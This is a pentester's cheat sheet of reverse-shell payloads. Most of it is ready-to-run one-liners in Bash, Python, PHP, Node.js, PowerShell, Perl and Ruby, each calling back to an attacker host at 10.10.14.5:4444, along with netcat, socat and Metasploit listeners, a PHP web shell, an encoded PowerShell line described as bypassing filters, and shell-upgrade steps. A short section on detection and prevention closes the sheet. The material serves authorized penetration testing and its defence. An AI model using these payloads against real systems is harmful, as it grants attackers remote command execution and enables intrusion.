Reverse Shell Cheat Sheet: Every Payload for Pentesters (2026 Updated)

What Is a Reverse Shell?

A reverse shell makes the target machine connect back to the attacker's machine, providing an interactive command line. Unlike a bind shell (which opens a port on the target), reverse shells work through firewalls because the connection is outbound.

Attacker (Listener)              Target (Victim)
┌────────────────┐               ┌────────────────┐
│ nc -lvnp 4444  │◄─────────────│ Reverse Shell   │
│ IP: 10.10.14.5 │  Outbound    │ Payload Runs    │
│ Waits for      │  Connection  │ Connects to     │
│ connection     │              │ attacker:4444   │
└────────────────┘               └────────────────┘

⚠️ Legal disclaimer: Only use these on systems you own or have explicit written authorization to test. Unauthorized access is a criminal offense.

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Setting Up the Listener

# Basic Netcat listener
nc -lvnp 4444

# Netcat with readline (better UX)
rlwrap nc -lvnp 4444

# Socat (upgraded interactive shell)
socat file:\`tty\`,raw,echo=0 tcp-listen:4444

# Metasploit multi/handler
msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/shell_reverse_tcp; set LHOST 10.10.14.5; set LPORT 4444; run"

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Reverse Shell Payloads by Language

Bash

# Standard bash reverse shell
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1

# Alternative with explicit redirection
bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'

# Using /dev/tcp (if bash supports it)
exec 5<>/dev/tcp/10.10.14.5/4444; cat <&5 | while read line; do $line 2>&5 >&5; done

Python

# Python 3 reverse shell
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.5",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'

# Python 2 (legacy systems)
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

PHP

# PHP reverse shell
php -r '$sock=fsockopen("10.10.14.5",4444);exec("bash <&3 >&3 2>&3");'

# PHP command execution via web shell
<?php system($_GET['cmd']); ?>
// Usage: http://target.com/shell.php?cmd=id

Node.js

// Node.js reverse shell
require('child_process').exec('bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')

// Pure Node.js (no bash dependency)
(function(){var net=require("net"),cp=require("child_process"),sh=cp.spawn("bash",[]);var client=new net.Socket();client.connect(4444,"10.10.14.5",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client)});})()

PowerShell (Windows)

# PowerShell reverse shell
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.5",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

# Encoded PowerShell (bypass basic filters)
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0A...

Perl

perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("bash -i");};'

Ruby

ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.5",4444))'

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Upgrading to a Fully Interactive Shell

After getting a basic reverse shell, upgrade it:

# Step 1: Spawn a PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Step 2: Background the shell
Ctrl+Z

# Step 3: Fix terminal settings
stty raw -echo; fg

# Step 4: Set terminal type
export TERM=xterm
export SHELL=bash
stty rows 50 cols 200

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Defensive Detection

Network Indicators

# Detect outbound connections from web servers
ss -tlnp | grep -v LISTEN
lsof -i -P | grep ESTABLISHED | grep -v sshd

# Look for unusual outbound connections
netstat -an | grep ESTABLISHED | grep -v ':22\|:80\|:443'

Process Monitoring

# Detect spawned shells
ps aux | grep -E 'bash|sh|python|perl|ruby|nc|ncat|socat' | grep -v grep

# Check for /dev/tcp usage (bash reverse shells)
grep -r '/dev/tcp' /proc/*/fd/ 2>/dev/null

Prevention

1. Egress filtering — Block outbound connections from web servers except to known services
2. Application allowlisting — Only approved binaries can execute
3. Disable unnecessary interpreters — Remove Python, Perl, Ruby from production web servers
4. Monitor /dev/tcp — Alert on bash processes accessing /dev/tcp
5. Container isolation — Run applications in containers with minimal tools
6. WAF rules — Block payloads containing reverse shell patterns